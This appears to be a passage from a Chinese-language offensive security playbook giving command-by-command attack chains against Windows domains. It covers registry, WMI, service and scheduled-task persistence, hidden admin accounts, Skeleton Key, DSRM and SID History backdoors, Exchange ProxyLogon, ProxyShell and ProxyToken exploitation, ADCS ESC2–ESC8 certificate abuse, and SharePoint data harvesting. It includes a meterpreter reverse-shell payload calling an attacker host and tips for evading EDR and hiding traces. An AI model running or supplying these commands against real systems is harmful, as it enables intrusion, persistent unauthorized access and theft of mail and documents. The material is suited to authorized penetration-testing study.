**4. 信任详细信息**  _[windows]_
_查看信任详细信息_
```
Get-NetDomainTrust | select SourceDomain,TargetDomain,TrustType,TrustDirection
```

**分析：** 信任关系枚举可以发现跨域/跨森林攻击路径。

**OPSEC：** 信任关系可能提供跨域攻击路径；关注双向信任；注意SID历史问题

---

### 计算机枚举  `computer-enum`
枚举域内计算机
子类：**计算机** · tags: `computer` `enumeration` `active-directory`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 列出域计算机**  _[windows]_
_列出域计算机_
```
net group "Domain Computers" /domain
```

**2. PowerView枚举**  _[windows]_
_使用PowerView枚举计算机_
```
Get-NetComputer | select name,operatingsystem,ipv4address
```

**3. 查找域控制器**  _[windows]_
_查找域控制器_
```
Get-NetComputer -DomainController
```

**4. 查找特定系统**  _[windows]_
_查找特定操作系统_
```
Get-NetComputer -OperatingSystem "*Server 2019*"
```

**5. 查找活跃计算机**  _[windows]_
_查找在线计算机_
```
Get-NetComputer -Ping
```

**6. 查找管理员会话**  _[windows]_
_查找域管理员登录位置_
```
Find-DomainUserLocation
```

**分析：** 计算机枚举可以发现域内所有计算机，识别高价值目标。

**OPSEC：** 计算机枚举是正常操作；重点关注域控制器和服务器；查找管理员会话

---


## 权限维持

### 注册表持久化  `persistence-registry`
通过注册表实现权限维持
子类：**注册表** · tags: `persistence` `registry` `windows` `autorun`

**前置条件：** 已获得目标机器权限；管理员权限；Windows系统

**攻击链：**

**1. Run键持久化**  _[windows]_
_添加Run键实现开机自启_
```
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f
```

**2. RunOnce键**  _[windows]_
_RunOnce键，执行一次后删除_
```
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
```

**3. Winlogon Helper**  _[windows]_
_修改Userinit实现持久化_
```
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\backdoor.exe" /f
```

**4. 服务持久化**  _[windows]_
_创建服务实现持久化_
```
sc create Backdoor binPath= "C:\backdoor.exe" start= auto
```

**EDR 绕过变体：**

**1. 隐藏注册表键**
_使用空字节隐藏注册表键_
```
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\x00" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
```

**分析：** 注册表持久化会在系统启动或用户登录时执行恶意程序。

**OPSEC：** Run键是最常见的持久化方式，容易被检测；考虑使用更隐蔽的方式；定期检查注册表异常项

---

### WMI持久化  `persistence-wmi`
通过WMI事件订阅实现持久化
子类：**WMI** · tags: `wmi` `persistence` `windows`

**前置条件：** 管理员权限

**攻击链：**

**1. 创建事件过滤器**  _[windows]_
_创建WMI事件过滤器_
```
$filter = New-WmiEventFilter -Name "evil" -Query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
```

**2. 创建事件消费者**  _[windows]_
_创建命令行消费者_
```
$consumer = New-WmiEventConsumer -Name "evil" -CommandLineTemplate "powershell -e BASE64_CMD"
```

**3. 绑定过滤器和消费者**  _[windows]_
_绑定触发执行_
```
New-WmiFilterToConsumerBinding -Filter $filter -Consumer $consumer
```

---

### 启动文件夹持久化  `persistence-startup`
通过启动文件夹实现持久化
子类：**启动文件夹** · tags: `startup` `persistence` `windows`

**前置条件：** 写入权限

**攻击链：**

**1. 当前用户启动文件夹**  _[windows]_
_当前用户启动_
```
copy evil.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
```

**2. 所有用户启动文件夹**  _[windows]_
_所有用户启动_
```
copy evil.lnk "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
```

---

### 服务持久化  `persistence-service`
通过创建服务实现持久化
子类：**服务** · tags: `service` `persistence` `windows`

**前置条件：** 管理员权限

**攻击链：**

**1. 创建服务**  _[windows]_
_创建自启动服务_
```
sc create evilsvc binPath= "cmd /c powershell -e BASE64_CMD" start= auto
```

**2. 启动服务**  _[windows]_
_启动服务_
```
sc start evilsvc
```

---

### DLL注入持久化  `persistence-dll-injection`
通过DLL注入实现持久化
子类：**DLL注入** · tags: `dll` `injection` `persistence`

**前置条件：** 代码执行权限；目标进程

**攻击链：**

**1. 创建恶意DLL**  _[linux]_
_生成恶意DLL_
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll
```

**2. 注入DLL**  _[windows]_
_将DLL注入到运行进程_
```
使用工具如InjectDLL、PowerShell等注入到目标进程
```

**3. AppInit_DLLs**  _[windows]_
_通过AppInit_DLLs注入_
```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f
```

---

### 后门用户  `persistence-backdoor-user`
创建后门用户账户
子类：**用户** · tags: `user` `backdoor` `persistence`

**前置条件：** 管理员权限

**攻击链：**

**1. 创建用户**  _[windows]_
_创建管理员用户_
```
net user backdoor P@ssw0rd /add
net localgroup administrators backdoor /add
```

**2. 隐藏用户**  _[windows]_
_创建隐藏用户（$结尾）_
```
net user backdoor$ P@ssw0rd /add
```

**3. 修改注册表隐藏**  _[windows]_
_通过注册表隐藏用户_
```
reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\backdoor$" /f
```

---

### 隐藏用户  `persistence-hidden-user`
创建隐藏的管理员用户
子类：**隐藏用户** · tags: `hidden` `user` `persistence`

**前置条件：** SYSTEM权限

**攻击链：**

**1. 创建用户**  _[windows]_
_创建$结尾用户_
```
net user hidden$ P@ssw0rd /add
```

**2. 添加到管理员组**  _[windows]_
_添加管理员权限_
```
net localgroup administrators hidden$ /add
```

**3. 注册表隐藏**  _[windows]_
_通过注册表完全隐藏_
```
reg export "HKLM\SAM\SAM\Domains\Account\Users\000003E9" user.reg
修改F值
reg import user.reg
```

---

### 计划任务持久化  `persistence-scheduled`
通过计划任务实现持久化
子类：**计划任务** · tags: `persistence` `scheduled` `task`

**前置条件：** 创建任务权限

**攻击链：**

**1. 创建登录任务**  _[windows]_
_创建登录时运行的任务_
```
schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
```

**2. 创建定时任务**  _[windows]_
_创建每5分钟运行的任务_
```
schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc minute /mo 5
```

**3. PowerShell创建**  _[windows]_
_使用PowerShell创建任务_
```
$action = New-ScheduledTaskAction -Execute "C:\backdoor.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Backdoor" -User "System"
```

**4. Linux Cron**  _[linux]_
_Linux计划任务_
```
crontab -e
添加: * * * * * /tmp/backdoor.sh
或: @reboot /tmp/backdoor.sh
```

---

### Skeleton Key后门  `skeleton-key`
在域控制器植入万能密码
子类：**域后门** · tags: `skeleton-key` `backdoor` `domain`

**前置条件：** 域管理员权限；访问域控制器

**攻击链：**

**1. 植入Skeleton Key**  _[windows]_
_使用Mimikatz植入_
```
mimikatz # privilege::debug
mimikatz # misc::skeleton
```

**2. 使用万能密码**  _[windows]_
_使用万能密码登录_
```
万能密码: mimikatz
任何域用户都可以使用mimikatz作为密码登录
```

**3. 检测方法**  _[windows]_
_检测Skeleton Key_
```
检查LSASS内存:
Get-Process lsass
使用EDR检测内存注入
```

---

### DSRM后门  `dsrm-backdoor`
利用DSRM账户建立后门
子类：**域后门** · tags: `dsrm` `backdoor` `domain`

**前置条件：** 域管理员权限；访问域控制器

**攻击链：**

**1. 获取DSRM密码**  _[windows]_
_获取DSRM账户哈希_
```
mimikatz # lsadump::lsa /patch /name:krbtgt
或
mimikatz # token::elevate
mimikatz # lsadump::sam
```

**2. 同步DSRM密码**  _[windows]_
_同步DSRM密码与域管理员_
```
ntdsutil
set dsrm password
sync from domain account admin
q
q
```

**3. 启用DSRM账户**  _[windows]_
_允许DSRM账户远程登录_
```
修改注册表:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```

**4. 使用DSRM登录**  _[windows]_
_使用DSRM账户_
```
使用DSRM账户哈希:
mimikatz # sekurlsa::pth /domain:DC_NAME /user:Administrator /ntlm:HASH
或使用Pass-the-Hash
```

---

### SID History后门  `sid-history`
利用SID History建立后门
子类：**域后门** · tags: `sid-history` `backdoor` `domain`

**前置条件：** 域管理员权限

**攻击链：**

**1. 添加SID History**  _[windows]_
_添加SID History_
```
mimikatz # sid::add /sam:backdoor_user /new:administrator
将域管SID添加到普通用户
```

**2. 验证SID History**  _[windows]_
_检查SID History_
```
Get-ADUser backdoor_user -Properties sidHistory
或
whoami /all
```

**3. 使用后门**  _[windows]_
_使用后门账户_
```
使用backdoor_user登录
自动获得域管理员权限
```

---

### 进程镂空持久化  `persistence-process-hollowing`
利用进程镂空技术实现持久化
子类：**进程注入** · tags: `process-hollowing` `persistence` `injection`

**前置条件：** 代码执行权限

**攻击链：**

**1. 进程镂空原理**  _[windows]_
_进程镂空原理_
```
1. 创建合法进程(挂起状态)
2. 替换进程内存
3. 恢复执行
```

**2. C#实现**  _[windows]_
_C#进程镂空_
```
using System.Runtime.InteropServices;
// 创建挂起进程
CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...);
// 替换内存
NtUnmapViewOfSection(...);
VirtualAllocEx(...);
WriteProcessMemory(...);
ResumeThread(...);
```

**3. 检测方法**  _[windows]_
_检测进程镂空_
```
检查进程内存:
- 进程路径与内存内容不匹配
- 异常的内存区域
- 使用EDR检测
```

---


## Exchange攻击

### ProxyLogon攻击  `proxylogon`
CVE-2021-26855 Exchange SSRF
子类：**ProxyLogon** · tags: `exchange` `proxylogon` `cve-2021-26855`

**前置条件：** Exchange可访问

**攻击链：**

**1. 探测漏洞**  _[linux]_
_检查Exchange版本_
```
curl -k https://exchange.com/owa/auth/x.js
检查Exchange版本
```

**2. 利用脚本**  _[linux]_
_利用ProxyLogon_
```
python proxylogon.py -u https://exchange.com -e admin@domain.com
获取管理员邮箱访问权限
```

**3. 手动利用**
_手动构造请求_
```
POST /owa/auth/x.js HTTP/1.1
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;
X-ClientId=xxx

构造SSRF请求
```

---

### ProxyShell攻击  `proxyshell`
CVE-2021-34473 Exchange RCE
子类：**ProxyShell** · tags: `exchange` `proxyshell` `cve-2021-34473`

**前置条件：** Exchange可访问

**攻击链：**

**1. 探测漏洞**  _[linux]_
_探测漏洞_
```
curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com"
检查是否存在漏洞
```

**2. 利用脚本**  _[linux]_
_利用ProxyShell_
```
python proxyshell.py -u https://exchange.com -e admin@domain.com
获取邮箱访问并执行命令
```

**3. 获取邮件**
_访问邮箱_
```
GET /autodiscover/autodiscover.json?@domain.com/owa/?&Email=admin@domain.com HTTP/1.1
访问邮箱内容
```

---

### Exchange枚举  `exchange-enum`
枚举Exchange服务和配置
子类：**枚举** · tags: `exchange` `enum` `recon`

**前置条件：** Exchange可访问

**攻击链：**

**1. 版本探测**  _[linux]_
_探测Exchange版本_
```
curl -k https://exchange.com/owa/auth/logon.aspx
检查页面源码获取版本信息
```

**2. Autodiscover**  _[linux]_
_Autodiscover枚举_
```
curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml
获取Exchange配置信息
```

**3. 邮箱枚举**  _[linux]_
_枚举邮箱用户_
```
python oab.py https://exchange.com
下载离线通讯录枚举用户
```

**4. NTLM泄露**  _[linux]_
_NTLM信息泄露_
```
curl -k https://exchange.com/autodiscover/autodiscover.xml
从WWW-Authenticate头获取域信息
```

---

### ProxyToken攻击  `exchange-proxytoken`
利用Exchange ProxyToken绕过认证
子类：**ProxyToken** · tags: `exchange` `proxytoken` `bypass`

**前置条件：** Exchange服务器；存在漏洞

**攻击链：**

**1. 检测漏洞**  _[linux]_
_检测漏洞_
```
使用ProxyToken工具:
python proxytoken.py -u https://exchange.com -e user@domain.com
检测是否存在漏洞
```

**2. 利用漏洞**  _[linux]_
_获取邮箱访问_
```
python proxytoken.py -u https://exchange.com -e user@domain.com -a
获取用户邮箱访问权限
```

**3. 访问邮箱**
_访问EWS接口_
```
curl -k https://exchange.com/ews/Exchange.asmx -H "X-ClientApplication: Test"
绕过认证访问EWS
```

---

### Exchange邮箱访问  `exchange-mailbox-access`
通过各种方式访问Exchange邮箱
子类：**邮箱访问** · tags: `exchange` `mailbox` `access`

**前置条件：** Exchange凭证或漏洞

**攻击链：**

**1. OWA访问**
_OWA Web访问_
```
https://exchange.com/owa
使用凭证登录OWA
查看邮件、日历等
```

**2. EWS访问**  _[linux]_
_EWS API访问_
```
使用Impacket:
python exchanger.py domain/user:password@exchange.com
或使用EWSTools
```

**3. Outlook MAPI**  _[windows]_
_Outlook客户端_
```
配置Outlook连接Exchange
使用MAPI协议访问邮箱
支持邮件、日历、联系人
```

**4. 导出邮箱**  _[windows]_
_导出邮箱_
```
PowerShell:
New-MailboxExportRequest -Mailbox user@domain.com -FilePath "\\server\share\user.pst"
导出邮箱为PST文件
```

---


## ADCS攻击

### ADCS ESC2攻击  `adcs-esc2`
利用ESC2模板配置错误
子类：**ESC2** · tags: `adcs` `esc2` `certificate`

**前置条件：** 域环境；ADCS服务；存在ESC2模板

**攻击链：**

**1. 探测ESC2模板**  _[linux]_
_探测ESC2模板_
```
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找Any Purpose或CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT模板
```

**2. 请求证书**  _[linux]_
_请求管理员证书_
```
certipy req -u user@domain.com -p password -ca CA_NAME -target DC_IP -template VULNERABLE_TEMPLATE -upn administrator@domain.com
```

**3. 使用证书认证**  _[linux]_
_使用证书认证_
```
certipy auth -pfx administrator.pfx -dc-ip DC_IP
获取管理员TGT
```

---

### ADCS ESC3攻击  `adcs-esc3`
利用ESC3注册代理配置错误
子类：**ESC3** · tags: `adcs` `esc3` `certificate`

**前置条件：** 域环境；ADCS服务；存在ESC3配置

**攻击链：**

**1. 探测ESC3**  _[linux]_
_探测ESC3配置_
```
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找具有Enrollment Agent权限的模板
```

**2. 获取注册代理证书**  _[linux]_
_获取注册代理证书_
```
certipy req -u user@domain.com -p password -ca CA_NAME -template EnrollmentAgent
获取注册代理证书
```

**3. 代表其他用户请求证书**  _[linux]_
_代表管理员请求证书_
```
certipy req -u user@domain.com -p password -ca CA_NAME -template User -on-behalf-of DOMAIN\\Administrator -pfx agent.pfx
```

---

### ADCS ESC4攻击  `adcs-esc4`
利用ESC4模板权限配置错误
子类：**ESC4** · tags: `adcs` `esc4` `certificate`

**前置条件：** 域环境；ADCS服务；对模板有写权限

**攻击链：**

**1. 探测ESC4**  _[linux]_
_探测模板权限_
```
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找用户有写权限的模板
```

**2. 修改模板配置**  _[linux]_
_修改模板配置_
```
certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -save-old
修改模板为ESC1配置
```

**3. 请求证书**  _[linux]_
_请求管理员证书_
```
certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE -upn administrator@domain.com
```

**4. 恢复模板配置**  _[linux]_
_恢复模板配置_
```
certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -configuration old_config.json
恢复原配置避免检测
```

---

### ADCS ESC6攻击  `adcs-esc6`
利用ESC6编辑标志配置错误
子类：**ESC6** · tags: `adcs` `esc6` `certificate`

**前置条件：** 域环境；ADCS服务；CA启用EDITF_ATTRIBUTESUBJECTALTNAME2

**攻击链：**

**1. 探测ESC6**  _[linux]_
_探测CA配置_
```
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找EDITF_ATTRIBUTESUBJECTALTNAME2标志
```

**2. 请求证书**  _[linux]_
_请求管理员证书_
```
certipy req -u user@domain.com -p password -ca CA_NAME -template User -alt administrator@domain.com
使用-alt参数指定SAN
```

**3. 使用证书认证**  _[linux]_
_认证获取TGT_
```
certipy auth -pfx administrator.pfx -dc-ip DC_IP
```

---

### ADCS ESC8攻击  `adcs-esc8`
利用ESC8 HTTP端点进行NTLM中继
子类：**ESC8** · tags: `adcs` `esc8` `ntlm-relay`

**前置条件：** 域环境；ADCS HTTP端点；可触发NTLM认证

**攻击链：**

**1. 探测ESC8**  _[linux]_
_探测HTTP端点_
```
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找HTTP证书端点
```

**2. 设置NTLM中继**  _[linux]_
_设置NTLM中继_
```
impacket-ntlmrelayx -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs
监听NTLM认证并中继到ADCS
```

**3. 触发认证**
_触发目标NTLM认证_
```
使用多种方式触发:
- 发送邮件链接
- 打印机漏洞
- WebDAV
- 其他NTLM触发方式
```

---


## SharePoint攻击

### SharePoint枚举  `sharepoint-enum`
枚举SharePoint站点和文件
子类：**枚举** · tags: `sharepoint` `enum` `recon`

**前置条件：** SharePoint可访问

**攻击链：**

**1. 站点枚举**  _[linux]_
_枚举站点_
```
curl -k https://sharepoint.com/_api/web/webs
获取所有子站点
```

**2. 用户枚举**  _[linux]_
_枚举用户_
```
curl -k https://sharepoint.com/_api/web/siteusers
获取站点用户列表
```

**3. 文件枚举**  _[linux]_
_枚举文档库_
```
curl -k https://sharepoint.com/_api/web/lists
获取文档库列表
```

**4. 搜索文件**  _[linux]_
_搜索敏感内容_
```
curl -k "https://sharepoint.com/_api/search/query?querytext='password'"
搜索敏感文件
```

---

### SharePoint文件访问  `sharepoint-file-access`
访问SharePoint文档库中的文件
子类：**文件访问** · tags: `sharepoint` `file` `access`

**前置条件：** SharePoint凭证或漏洞

**攻击链：**

**1. Web界面访问**
_Web界面访问_
```
https://sharepoint.com/sites/site_name/Shared Documents
通过浏览器访问文档库
下载敏感文件
```

**2. REST API访问**  _[linux]_
_REST API访问_
```
curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items"
获取文档列表
下载文件内容
```

**3. CSOM访问**  _[windows]_
_CSOM访问_
```
使用SharePoint客户端对象模型:
ClientContext context = new ClientContext("https://sharepoint.com");
context.Credentials = new SharePointOnlineCredentials(user, password);
List list = context.Web.Lists.GetByTitle("Documents");
```

**4. OneDrive同步**
_OneDrive同步_
```
使用OneDrive客户端同步SharePoint文档库
本地访问所有文件
离线查看敏感数据
```

---

